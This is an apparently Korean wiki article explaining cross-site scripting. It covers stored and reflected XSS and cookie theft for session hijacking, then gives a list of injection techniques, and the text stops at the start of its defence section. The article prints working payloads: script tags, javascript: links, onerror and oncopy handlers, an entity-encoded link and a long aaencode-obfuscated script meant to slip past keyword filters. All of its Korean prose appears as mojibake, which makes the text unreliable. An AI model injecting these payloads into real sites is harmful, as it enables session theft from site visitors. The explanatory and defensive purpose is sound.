์ด ๋ฌธ์„œ์˜ ์›๋ณธ์€ ์™ธ๋ถ€ ์œ„ํ‚ค์—์„œ ๊ฐ€์ ธ์™”์Šต๋‹ˆ๋‹ค.

1. ๊ฐœ์š”2. ์˜ˆ์‹œ3. ๊ธฐ๋ฒ•
3.1. ์Šคํฌ๋ฆฝํŠธ ํƒœ๊ทธ3.2. ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ๋งํฌ3.3. ์ด๋ฒคํŠธ ์†์„ฑ3.4. ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ์šฐํšŒ3.5. ๋‚ด์šฉ ๋‚œ๋…ํ™”3.6. ์Šคํฌ๋ฆฝํŠธ ๋‚œ๋…ํ™”
4. ๋ฐฉ์–ด ๋ฐฉ๋ฒ•
4.1. ์ž…๋ ฅ ํ•„ํ„ฐ
4.1.1. ํ•„ํ„ฐ ์ œ์ž‘
4.1.1.1. ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ œ์ž‘4.1.1.2. ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ด์šฉ4.1.1.3. BBCode ์‚ฌ์šฉ
4.2. ์ถœ๋ ฅ ํ•„ํ„ฐ4.3. ์ฟ ํ‚ค์˜ ๋ณด์•ˆ ์˜ต์…˜ ์‚ฌ์šฉ4.4. ์ฝ˜ํ…์ธ  ๋ณด์•ˆ ์ •์ฑ… (Content Security Policy, CSP) ์‚ฌ์šฉ
5. ๊ธฐํƒ€6. ๊ด€๋ จ ๋ฌธ์„œ

1. ๊ฐœ์š”[ํŽธ์ง‘]

Cross-site Scripting.[1] ๋งํฌ ํƒ€๊ณ  ๋“ค์–ด๊ฐ”๋Š”๋ฐ ๊ต์ฐจ์‚ฌ์ดํŠธ ์Šคํฌ๋ฆฝํŒ… ๋ฐฉ์ง€ํ•œ๋‹ค๊ณ  ์•ˆ ๋˜๋ฉด ์ง„์งœ ์งœ์ฆ๋‚œ๋‹ค.

SQL injection๊ณผ ํ•จ๊ป˜[2] ์›น ์ƒ์—์„œ ๊ฐ€์žฅ ๊ธฐ์ดˆ์ ์ธ ์ทจ์•ฝ์  ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์˜ ์ผ์ข…์œผ๋กœ, ์•…์˜์ ์ธ ์‚ฌ์šฉ์ž๊ฐ€ ๊ณต๊ฒฉํ•˜๋ ค๋Š” ์‚ฌ์ดํŠธ์— ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋„ฃ๋Š” ๊ธฐ๋ฒ•์„ ๋งํ•œ๋‹ค. ๊ณต๊ฒฉ์— ์„ฑ๊ณตํ•˜๋ฉด ์‚ฌ์ดํŠธ์— ์ ‘์†ํ•œ ์‚ฌ์šฉ์ž๋Š” ์‚ฝ์ž…๋œ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ฒŒ ๋˜๋ฉฐ,[3] ๋ณดํ†ต ์˜๋„์น˜ ์•Š์€ ํ–‰๋™์„ ์ˆ˜ํ–‰์‹œํ‚ค๊ฑฐ๋‚˜ ์ฟ ํ‚ค๋‚˜ ์„ธ์…˜ ํ† ํฐ ๋“ฑ์˜ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ํƒˆ์ทจํ•œ๋‹ค.

๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์— ๋”ฐ๋ผ Stored XSS์™€ Reflected XSS๋กœ ๋‚˜๋‰œ๋‹ค. Stored XSS๋Š” ์‚ฌ์ดํŠธ ๊ฒŒ์‹œํŒ์ด๋‚˜ ๋Œ“๊ธ€, ๋‹‰๋„ค์ž„ ๋“ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์„œ๋ฒ„์— ์ €์žฅ๋˜์–ด ์‹คํ–‰๋˜๋Š” ๋ฐฉ์‹์ด๊ณ , Reflected XSS๋Š” ๋ณดํ†ต URL ํŒŒ๋ผ๋ฏธํ„ฐ(ํŠนํžˆ GET ๋ฐฉ์‹)์— ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋„ฃ์–ด ์„œ๋ฒ„์— ์ €์žฅํ•˜์ง€ ์•Š๊ณ  ๊ทธ ์ฆ‰์‹œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋งŒ๋“œ๋Š” ๋ฐฉ์‹์ด๋‹ค. ํ›„์ˆ ๋œ ๋‚ด์šฉ ๋Œ€๋ถ€๋ถ„์€ Stored XSS๋ผ๊ณ  ์ƒ๊ฐํ•˜๋ฉด ๋œ๋‹ค. Reflected XSS์˜ ๊ฒฝ์šฐ ๋ธŒ๋ผ์šฐ์ € ์ž์ฒด์—์„œ ์ฐจ๋‹จํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์•„ ์ƒ๋Œ€์ ์œผ๋กœ ๊ณต๊ฒฉ์„ ์„ฑ๊ณต์‹œํ‚ค๊ธฐ ์–ด๋ ต๋‹ค.

ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ์Šคํฌ๋ฆฝํŒ…์ด๋ž€ ์ด๋ฆ„ ๋‹ต๊ฒŒ, ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ณต๊ฒฉํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ๋‹ค. ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์ด ๋‹จ์ˆœํ•˜๊ณ  ๊ฐ€์žฅ ๊ธฐ์ดˆ์ ์ด์ง€๋งŒ, ๋งŽ์€ ์›น์‚ฌ์ดํŠธ๋“ค์ด XSS์— ๋Œ€ํ•œ ๋ฐฉ์–ด ์กฐ์น˜๋ฅผ ํ•ด๋‘์ง€ ์•Š์•„ ๊ณต๊ฒฉ์„ ๋ฐ›๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ๋‹ค. ์—ฌ๋Ÿฌ ์‚ฌ์šฉ์ž๊ฐ€ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ๊ฒŒ์‹œํŒ ๋“ฑ์— ์ฝ”๋“œ๋ฅผ ์‚ฝ์ž…ํ•˜๋Š” ๊ฒฝ์šฐ๋„ ๋งŽ์œผ๋ฉฐ, ๊ฒฝ์šฐ์— ๋”ฐ๋ผ์„œ๋Š” ๋ฉ”์ผ๊ณผ ๊ฐ™์€ ๋งค์ฒด๋ฅผ ํ†ตํ•ด์„œ๋„ ์ „ํŒŒ๋œ๋‹ค. ์‹ฌ์ง€์–ด๋Š” ๋‹‰๋„ค์ž„์— ์ฝ”๋“œ๋ฅผ ์‹ฌ๊ธฐ๋„ ํ•œ๋‹ค.

๋ฌผ๋ก , HTML์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด๊ธฐ ๋•Œ๋ฌธ์—, Text-Only ๊ฒŒ์‹œํŒ์ด๋‚˜, BBCode๋ฅผ ์ด์šฉํ•˜๋Š” ์œ„ํ‚ค์œ„ํ‚ค ๋“ฑ์—์„œ๋Š” XSS๊ฐ€ ๋ฐœ์ƒํ•  ์ผ์€ ์—†๋‹ค. ๋‹จ, ๋‚˜๋ฌด์œ„ํ‚ค์˜ ๊ฒฝ์šฐ {{{#!html HTML}}} ์„ ์ด์šฉํ•ด์„œ HTML ํƒœ๊ทธ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ์ทจ์•ฝ์ ์ด ์žˆ์„ ์ˆ˜๋„ ์žˆ๋‹ค. ๊ทธ๋ž˜์„œ ๋‚˜๋ฌด์œ„ํ‚ค ์ดˆ๋ฐ˜์—๋Š” ์Šคํฌ๋ฆฝํŠธ ํƒœ๊ทธ์™€ ์ด๋ฒคํŠธ ์†์„ฑ๋„ ๋ง‰์ง€ ์•Š์•˜๋‹ค. ๋ฌผ๋ก , ์ด๋Š” ํ›„์— ๋Œ€๋ถ€๋ถ„ ์ˆ˜์ •๋˜์—ˆ๋‹ค.

์ฃผ๋กœ CSRF๋ฅผ ํ•˜๊ธฐ ์œ„ํ•ด์„œ ์‚ฌ์šฉ๋˜๊ธฐ ๋•Œ๋ฌธ์— ์ข…์ข… CSRF์™€ ํ˜ผ๋™๋˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์œผ๋‚˜, XSS๋Š” ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰์‹œํ‚ค๋Š” ๊ฒƒ์ด๊ณ , CSRF๋Š” ํŠน์ •ํ•œ ํ–‰๋™์„ ์‹œํ‚ค๋Š” ๊ฒƒ์ด๋ฏ€๋กœ ๋‹ค๋ฅด๋‹ค.

2. ์˜ˆ์‹œ[ํŽธ์ง‘]

ํ•ด์ปค์˜ ํ™ˆํŽ˜์ด์ง€์— PHP ํŒŒ์ผ์„ ๋งŒ๋“ค๊ณ ,[4] ๊ณต๊ฒฉํ•  ์‚ฌ์ดํŠธ์— ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹ฌ์€ ๋’ค,[5] ์‚ฌ์šฉ์ž๊ฐ€ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹ฌ์–ด์ง„ ํŽ˜์ด์ง€๋ฅผ ๋ณผ ๊ฒฝ์šฐ, ์ฟ ํ‚ค๊ฐ’์ด ํ•ด์ปค์˜ ํ™ˆํŽ˜์ด์ง€๋กœ ๋„˜์–ด๊ฐ€์„œ ์„ธ์…˜ ํ•˜์ด์žฌํ‚น์ด ๊ฐ€๋Šฅํ•ด์ง„๋‹ค.

3. ๊ธฐ๋ฒ•[ํŽธ์ง‘]

์•„๋ž˜๋Š” ํ•œ๊ตญ์—์„œ ๊ฐ€์žฅ ๋งŽ์ด ์‚ฌ์šฉ๋˜๋Š” IE ๊ธฐ์ค€์œผ๋กœ ์ž‘์„ฑํ•œ ๊ฒƒ์ด๋‹ค. ๋”ฐ๋ผ์„œ ํฌ๋กฌ, ํŒŒ์ด์–ดํญ์Šค ๋“ฑ์˜ ๋ธŒ๋ผ์šฐ์ €๋‚˜ ์ตœ์‹  ๋ธŒ๋ผ์šฐ์ € ํ™˜๊ฒฝ์—์„œ๋Š” ์ž‘๋™ํ•˜์ง€ ์•Š์„ ์ˆ˜๋„ ์žˆ๋‹ค.
์‹คํ—˜์€ ์ด ๊ณณ์—์„œ ํ•ด๋ณด์ž.

3.1. ์Šคํฌ๋ฆฝํŠธ ํƒœ๊ทธ[ํŽธ์ง‘]

๋ฐฉ๋ฒ•
์Šคํฌ๋ฆฝํŠธ ํƒœ๊ทธ๋กœ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•œ๋‹ค.
์˜ˆ์ œ
<script>alert('XSS');</script>
์„ค๋ช…
์Šคํฌ๋ฆฝํŠธ ํƒœ๊ทธ์˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰์‹œํ‚จ๋‹ค. ์•ˆํƒ€๊น๊ฒŒ๋„, ๋งค์šฐ ์ •์งํ•œ ๋ฐฉ๋ฒ•์ด๋ผ ๋Œ€๋ถ€๋ถ„์˜ ์‚ฌ์ดํŠธ์—์„œ ๋ง‰๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ๋‹ค. ๋ธŒ๋ผ์šฐ์ €๋‹จ์—์„œ ํ•„ํ„ฐ๋ง ํ•ด์ฃผ๋Š” ๊ฒฝ์šฐ๋„ ์žˆ๋‹ค. ๋ฌผ๋ก  ์˜ˆ์™ธ๋„ ์žˆ๋‹ค.[6] ํ•˜์ง€๋งŒ ๋งŒ๋“ค์–ด์ง„์ง€ ๋ช‡์‹ญ ๋…„ ์ด์ƒ ๋˜์—ˆ๊ฑฐ๋‚˜, ๋ณด์•ˆ X๊นŒ! ํ•˜๋ฉด์„œ ๋ง‰์ง€๋„ ์•Š๋Š” ๊ฒฝ์šฐ๋„ ์žˆ๋‹ค. ์• ์ดˆ์— ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํ‰๋ฌธ/MD5๋กœ ์ €์žฅํ•˜๋Š” ๊ฒฝ์šฐ๋„ ์žˆ๋Š”๋ฐ ์ƒˆ์‚ผ์Šค๋Ÿฝ๊ฒŒ...

3.2. ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ๋งํฌ[ํŽธ์ง‘]

๋ฐฉ๋ฒ•
๋งํฌ ํƒœ๊ทธ๋กœ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•œ๋‹ค.
์˜ˆ์ œ
<a href="javascript:alert('XSS')">XSS</a>
์„ค๋ช…
๋ธŒ๋ผ์šฐ์ €์—์„œ about: ๋งํฌ์™€ ๊ฐ™์ด, javascript: ๋กœ ์‹œ์ž‘ํ•˜๋Š” ๋งํฌ๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰์‹œํ‚จ๋‹ค. ์Šคํฌ๋ฆฝํŠธ ํƒœ๊ทธ์™€ ๊ฐ™์ด, javascript: ๋ฅผ ํ•„ํ„ฐ๋งํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์•„ ๋งŽ์€ ์‚ฌ์ดํŠธ์—์„œ ๋ง‰๋Š”๋‹ค.

3.3. ์ด๋ฒคํŠธ ์†์„ฑ[ํŽธ์ง‘]

๋ฐฉ๋ฒ•
์ด๋ฒคํŠธ ์†์„ฑ์„ ์‚ฌ์šฉํ•œ๋‹ค.
์˜ˆ์ œ
<img src="#" onerror="alert('XSS')">
์„ค๋ช…
์ด๋ฒคํŠธ ์†์„ฑ์œผ๋กœ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค. ์ฃผ๋กœ on ์œผ๋กœ ์‹œ์ž‘ํ•˜๋Š” ์†์„ฑ์ด ์ด๋ฒคํŠธ ์†์„ฑ์ด๋‹ค. ์ž์ฃผ ์‚ฌ์šฉ๋˜๋Š” ์ด๋ฒคํŠธ ์†์„ฑ์œผ๋กœ๋Š” onload onerror onclick ๋“ฑ์ด ์žˆ๋‹ค. ๋ฌผ๋ก , ์ด ๋ฐฉ๋ฒ• ์—ญ์‹œ '์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ๋งํฌ' ๋ฐฉ๋ฒ•๋งŒํผ ๋งŽ์ด ๋ง‰ํ˜”๋‹ค.

3.4. ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ์šฐํšŒ[ํŽธ์ง‘]

๋ฐฉ๋ฒ•
์•Œ๋ ค์ง€์ง€ ์•Š์€ ํƒœ๊ทธ์™€ ์†์„ฑ๋“ค์„ ์‚ฌ์šฉํ•œ๋‹ค.
์˜ˆ์ œ
<ruby oncopy="alert('XSS')">XSS</ruby>
์„ค๋ช…
๋ธ”๋ž™ ๋ฆฌ์ŠคํŠธ ๋ฐฉ์‹์œผ๋กœ ๋ง‰๋Š” ์‚ฌ์ดํŠธ์— ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด๋ฒคํŠธ ์†์„ฑ ๋ชฉ๋ก์„ ์ฐธ๊ณ ํ•˜์ž. ์œ„์˜ ๋ฐฉ๋ฒ•๋“ค๋ณด๋‹ค๋Š” ์ ๊ฒŒ ๋ง‰ํ˜”์œผ๋‚˜, ์—ฌ์ „ํžˆ ์ตœ๊ทผ ์›น์‚ฌ์ดํŠธ๋“ค์—์„  ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ๋ฐฉ์‹ ์ฐจ๋‹จ์ด ๋Œ€๋ถ€๋ถ„์ด๋ผ, ๋ง‰ํ˜”์„ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’๋‹ค.

3.5. ๋‚ด์šฉ ๋‚œ๋…ํ™”[ํŽธ์ง‘]

๋ฐฉ๋ฒ•
๋”ฐ์˜ดํ‘œ๋กœ ๊ฐ์‹ธ๋Š” ๋ฌธ์ž์—ด ์‚ฌ์ด์— ๊ณต๋ฐฑ ๋ฌธ์ž๋“ค์„ ๋„ฃ๊ณ , HTML ์ธ์ฝ”๋“œ๋ฅผ ํ•˜์—ฌ ๋‚œ๋…ํ™”ํ•œ๋‹ค.
์˜ˆ์ œ
<a href="&#x6A;&#x61;&#x76;&#x61;&#x73;&#xA;&#x63;&#x72;&#x69;&#x70;&#x74;&#xA;&#x3A;&#xA;&#x61;&#x6C;&#x65;&#x72;&#x74;&#xA;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;">XSS</a>
์„ค๋ช…
์ผ๋ถ€ ๋ธŒ๋ผ์šฐ์ €์—์„œ javascript: ๋งํฌ ์‚ฌ์ด์— ๊ณต๋ฐฑ ๋ฌธ์ž๊ฐ€ ๋“ค์–ด๊ฐˆ ์ˆ˜ ์žˆ๊ณ , HTML ์ธ์ฝ”๋“œ๋ฅผ ํ•ด๋„ ๋””์ฝ”๋“œ๋œ ๋‚ด์šฉ์ด ์ถœ๋ ฅ๋œ๋‹ค๋Š” ์ ์„ ์ด์šฉํ•œ๋‹ค. ์—ฌ๊ธฐ์—์„œ๋Š” '์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ๋งํฌ' ๋ฐฉ๋ฒ•๊ณผ ์‚ฌ์šฉํ•˜์˜€์ง€๋งŒ, ๋‹น์—ฐํžˆ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•๊ณผ ํ•จ๊ป˜ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

3.6. ์Šคํฌ๋ฆฝํŠธ ๋‚œ๋…ํ™”[ํŽธ์ง‘]

๋ฐฉ๋ฒ•
aaaencode์—์„œ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ๋‚œ๋…ํ™”.
์˜ˆ์ œ
[ ์˜ˆ์ œ ํŽผ์น˜๊ธฐ ยท ์ ‘๊ธฐ ]
๏พŸฯ‰๏พŸ๏พ‰= /๏ฝ€๏ฝยด๏ผ‰๏พ‰ ~โ”ปโ”โ”ป //*ยดโˆ‡๏ฝ€*/ ['_']; o=(๏พŸ๏ฝฐ๏พŸ) =_=3; c=(๏พŸฮ˜๏พŸ) =(๏พŸ๏ฝฐ๏พŸ)-(๏พŸ๏ฝฐ๏พŸ); (๏พŸะ”๏พŸ) =(๏พŸฮ˜๏พŸ)= (o^_^o)/ (o^_^o);(๏พŸะ”๏พŸ)={๏พŸฮ˜๏พŸ: '_' ,๏พŸฯ‰๏พŸ๏พ‰ : ((๏พŸฯ‰๏พŸ๏พ‰==3) +'_') [๏พŸฮ˜๏พŸ] ,๏พŸ๏ฝฐ๏พŸ๏พ‰ :(๏พŸฯ‰๏พŸ๏พ‰+ '_')[o^_^o -(๏พŸฮ˜๏พŸ)] ,๏พŸะ”๏พŸ๏พ‰:((๏พŸ๏ฝฐ๏พŸ==3) +'_')[๏พŸ๏ฝฐ๏พŸ] }; (๏พŸะ”๏พŸ) [๏พŸฮ˜๏พŸ] =((๏พŸฯ‰๏พŸ๏พ‰==3) +'_') [c^_^o];(๏พŸะ”๏พŸ) ['c'] = ((๏พŸะ”๏พŸ)+'_') [ (๏พŸ๏ฝฐ๏พŸ)+(๏พŸ๏ฝฐ๏พŸ)-(๏พŸฮ˜๏พŸ) ];(๏พŸะ”๏พŸ) ['o'] = ((๏พŸะ”๏พŸ)+'_') [๏พŸฮ˜๏พŸ];(๏พŸo๏พŸ)=(๏พŸะ”๏พŸ) ['c']+(๏พŸะ”๏พŸ) ['o']+(๏พŸฯ‰๏พŸ๏พ‰ +'_')[๏พŸฮ˜๏พŸ]+ ((๏พŸฯ‰๏พŸ๏พ‰==3) +'_') [๏พŸ๏ฝฐ๏พŸ] + ((๏พŸะ”๏พŸ) +'_') [(๏พŸ๏ฝฐ๏พŸ)+(๏พŸ๏ฝฐ๏พŸ)]+ ((๏พŸ๏ฝฐ๏พŸ==3) +'_') [๏พŸฮ˜๏พŸ]+((๏พŸ๏ฝฐ๏พŸ==3) +'_') [(๏พŸ๏ฝฐ๏พŸ) - (๏พŸฮ˜๏พŸ)]+(๏พŸะ”๏พŸ) ['c']+((๏พŸะ”๏พŸ)+'_') [(๏พŸ๏ฝฐ๏พŸ)+(๏พŸ๏ฝฐ๏พŸ)]+ (๏พŸะ”๏พŸ) ['o']+((๏พŸ๏ฝฐ๏พŸ==3) +'_') [๏พŸฮ˜๏พŸ];(๏พŸะ”๏พŸ) ['_'] =(o^_^o) [๏พŸo๏พŸ] [๏พŸo๏พŸ];(๏พŸฮต๏พŸ)=((๏พŸ๏ฝฐ๏พŸ==3) +'_') [๏พŸฮ˜๏พŸ]+ (๏พŸะ”๏พŸ) .๏พŸะ”๏พŸ๏พ‰+((๏พŸะ”๏พŸ)+'_') [(๏พŸ๏ฝฐ๏พŸ) + (๏พŸ๏ฝฐ๏พŸ)]+((๏พŸ๏ฝฐ๏พŸ==3) +'_') [o^_^o -๏พŸฮ˜๏พŸ]+((๏พŸ๏ฝฐ๏พŸ==3) +'_') [๏พŸฮ˜๏พŸ]+ (๏พŸฯ‰๏พŸ๏พ‰ +'_') [๏พŸฮ˜๏พŸ]; (๏พŸ๏ฝฐ๏พŸ)+=(๏พŸฮ˜๏พŸ); (๏พŸะ”๏พŸ)[๏พŸฮต๏พŸ]='\\'; (๏พŸะ”๏พŸ).๏พŸฮ˜๏พŸ๏พ‰=(๏พŸะ”๏พŸ+ ๏พŸ๏ฝฐ๏พŸ)[o^_^o -(๏พŸฮ˜๏พŸ)];(o๏พŸ๏ฝฐ๏พŸo)=(๏พŸฯ‰๏พŸ๏พ‰ +'_')[c^_^o];(๏พŸะ”๏พŸ) [๏พŸo๏พŸ]='\"';(๏พŸะ”๏พŸ) ['_'] ( (๏พŸะ”๏พŸ) ['_'] (๏พŸฮต๏พŸ+(๏พŸะ”๏พŸ)[๏พŸo๏พŸ]+ (๏พŸะ”๏พŸ)[๏พŸฮต๏พŸ]+(๏พŸฮ˜๏พŸ)+ (๏พŸ๏ฝฐ๏พŸ)+ (๏พŸฮ˜๏พŸ)+ (๏พŸะ”๏พŸ)[๏พŸฮต๏พŸ]+(๏พŸฮ˜๏พŸ)+ ((๏พŸ๏ฝฐ๏พŸ) + (๏พŸฮ˜๏พŸ))+ (๏พŸ๏ฝฐ๏พŸ)+ (๏พŸะ”๏พŸ)[๏พŸฮต๏พŸ]+(๏พŸฮ˜๏พŸ)+ (๏พŸ๏ฝฐ๏พŸ)+ ((๏พŸ๏ฝฐ๏พŸ) + (๏พŸฮ˜๏พŸ))+ (๏พŸะ”๏พŸ)[๏พŸฮต๏พŸ]+(๏พŸฮ˜๏พŸ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (๏พŸฮ˜๏พŸ))+ (๏พŸะ”๏พŸ)[๏พŸฮต๏พŸ]+(๏พŸฮ˜๏พŸ)+ ((o^_^o) +(o^_^o))+ (๏พŸ๏ฝฐ๏พŸ)+ (๏พŸะ”๏พŸ)[๏พŸฮต๏พŸ]+((๏พŸ๏ฝฐ๏พŸ) + (๏พŸฮ˜๏พŸ))+ (c^_^o)+ (๏พŸะ”๏พŸ)[๏พŸฮต๏พŸ]+(๏พŸ๏ฝฐ๏พŸ)+ ((o^_^o) - (๏พŸฮ˜๏พŸ))+ (๏พŸะ”๏พŸ)[๏พŸฮต๏พŸ]+(o๏พŸ๏ฝฐ๏พŸo)+ (๏พŸะ”๏พŸ) ['c']+ ((๏พŸ๏ฝฐ๏พŸ) + (o^_^o))+ ((๏พŸ๏ฝฐ๏พŸ) + (o^_^o))+ (๏พŸ๏ฝฐ๏พŸ)+ (๏พŸะ”๏พŸ)[๏พŸฮต๏พŸ]+(o๏พŸ๏ฝฐ๏พŸo)+ (๏พŸะ”๏พŸ) .๏พŸฮ˜๏พŸ๏พ‰+ ((๏พŸ๏ฝฐ๏พŸ) + (o^_^o))+ (๏พŸะ”๏พŸ) [๏พŸฮ˜๏พŸ]+ (c^_^o)+ (๏พŸะ”๏พŸ)[๏พŸฮต๏พŸ]+(๏พŸ๏ฝฐ๏พŸ)+ (c^_^o)+ (๏พŸะ”๏พŸ)[๏พŸฮต๏พŸ]+(o๏พŸ๏ฝฐ๏พŸo)+ (๏พŸะ”๏พŸ) ['c']+ ((o^_^o) - (๏พŸฮ˜๏พŸ))+ (๏พŸะ”๏พŸ) .๏พŸ๏ฝฐ๏พŸ๏พ‰+ (๏พŸะ”๏พŸ) .๏พŸ๏ฝฐ๏พŸ๏พ‰+ (๏พŸะ”๏พŸ)[๏พŸฮต๏พŸ]+(o๏พŸ๏ฝฐ๏พŸo)+ (๏พŸะ”๏พŸ) ['c']+ ((๏พŸ๏ฝฐ๏พŸ) + (o^_^o))+ (o^_^o)+ (๏พŸะ”๏พŸ) ['c']+ (๏พŸะ”๏พŸ)[๏พŸฮต๏พŸ]+(o๏พŸ๏ฝฐ๏พŸo)+ (๏พŸะ”๏พŸ) .๏พŸฮ˜๏พŸ๏พ‰+ ((๏พŸ๏ฝฐ๏พŸ) + (๏พŸ๏ฝฐ๏พŸ))+ ((๏พŸ๏ฝฐ๏พŸ) + (๏พŸฮ˜๏พŸ))+ (๏พŸะ”๏พŸ) ['c']+ (๏พŸะ”๏พŸ)[๏พŸฮต๏พŸ]+(๏พŸ๏ฝฐ๏พŸ)+ (c^_^o)+ (๏พŸะ”๏พŸ)[๏พŸฮต๏พŸ]+(o๏พŸ๏ฝฐ๏พŸo)+ (๏พŸะ”๏พŸ) ['c']+ ((๏พŸ๏ฝฐ๏พŸ) + (o^_^o))+ ((๏พŸ๏ฝฐ๏พŸ) + (๏พŸ๏ฝฐ๏พŸ) + (๏พŸฮ˜๏พŸ))+ (๏พŸฮ˜๏พŸ)+ (๏พŸะ”๏พŸ)[๏พŸฮต๏พŸ]+(o๏พŸ๏ฝฐ๏พŸo)+ (๏พŸะ”๏พŸ) .๏พŸฮ˜๏พŸ๏พ‰+ (o^_^o)+ (๏พŸะ”๏พŸ) .๏พŸ๏ฝฐ๏พŸ๏พ‰+ ((๏พŸ๏ฝฐ๏พŸ) + (๏พŸ๏ฝฐ๏พŸ) + (๏พŸฮ˜๏พŸ))+ (๏พŸะ”๏พŸ)[๏พŸฮต๏พŸ]+(o๏พŸ๏ฝฐ๏พŸo)+ (๏พŸะ”๏พŸ) .๏พŸฮ˜๏พŸ๏พ‰+ (๏พŸ๏ฝฐ๏พŸ)+ (๏พŸฮ˜๏พŸ)+ (๏พŸะ”๏พŸ) ['c']+ (๏พŸะ”๏พŸ)[๏พŸฮต๏พŸ]+(o๏พŸ๏ฝฐ๏พŸo)+ (๏พŸะ”๏พŸ) .๏พŸฮ˜๏พŸ๏พ‰+ ((o^_^o) - (๏พŸฮ˜๏พŸ))+ (๏พŸะ”๏พŸ) .๏พŸะ”๏พŸ๏พ‰+ (๏พŸ๏ฝฐ๏พŸ)+ (๏พŸะ”๏พŸ)[๏พŸฮต๏พŸ]+((๏พŸ๏ฝฐ๏พŸ) + (๏พŸฮ˜๏พŸ))+ ((o^_^o) +(o^_^o))+ (๏พŸะ”๏พŸ)[๏พŸฮต๏พŸ]+(๏พŸ๏ฝฐ๏พŸ)+ ((o^_^o) - (๏พŸฮ˜๏พŸ))+ (๏พŸะ”๏พŸ)[๏พŸฮต๏พŸ]+((๏พŸ๏ฝฐ๏พŸ) + (๏พŸฮ˜๏พŸ))+ (๏พŸฮ˜๏พŸ)+ (๏พŸะ”๏พŸ)[๏พŸฮต๏พŸ]+((๏พŸ๏ฝฐ๏พŸ) + (o^_^o))+ (o^_^o)+ (๏พŸะ”๏พŸ)[๏พŸo๏พŸ]) (๏พŸฮ˜๏พŸ)) ('_');
์„ค๋ช…
์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ผ๋ณธ์–ด๋ฅผ ์‚ฌ์šฉํ•œ ์ด๋ชจํ‹ฐ์ฝ˜๋“ค๋กœ ๋‚œ๋…ํ™”ํ•œ๋‹ค.[7] ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰์€ ๊ฐ€๋Šฅํ•˜์ง€๋งŒ, document.cookie ์™€ ๊ฐ™์€ ๋‹จ์–ด๋ฅผ ๋ง‰์„ ๊ฒฝ์šฐ ์‚ฌ์šฉํ•˜๋ฉด ๋œ๋‹ค.

4. ๋ฐฉ์–ด ๋ฐฉ๋ฒ•[ํŽธ์ง‘]

XSS๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ์ž…๋ ฅํ•  ๋•Œ์™€ ์ถœ๋ ฅํ•  ๋•Œ, ๋ชจ๋‘ ํ•„ํ„ฐ๋งํ•˜๊ณ , ํด๋ผ์ด์–ธํŠธ์—๋„ ๋ง‰์„ ์ˆ˜ ์žˆ์„๋งŒํ•œ ์ˆ˜๋‹จ์„ ๊ตฌ์„ฑํ•ด๋†“๋Š” ๊ฒƒ์ด ์ข‹๋‹ค. ๋ณด์•ˆ์€ ํ•œ์—†์ด ๋ง๋Œ€๋„ ๋์ด ์—†๊ณ , ์•„๋ž˜ ์„œ์ˆ ํ•œ ๋ฐฉ์‹์œผ๋กœ ๊ตฌ์„ฑํ•ด๋„ ๊ธฐ์–ด์ฝ” ๋šซ์–ด๋ฒ„๋ฆฌ๋Š” ์‚ฌ๋žŒ๋“ค์ด ์กด์žฌํ•˜๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

4.1. ์ž…๋ ฅ ํ•„ํ„ฐ[ํŽธ์ง‘]

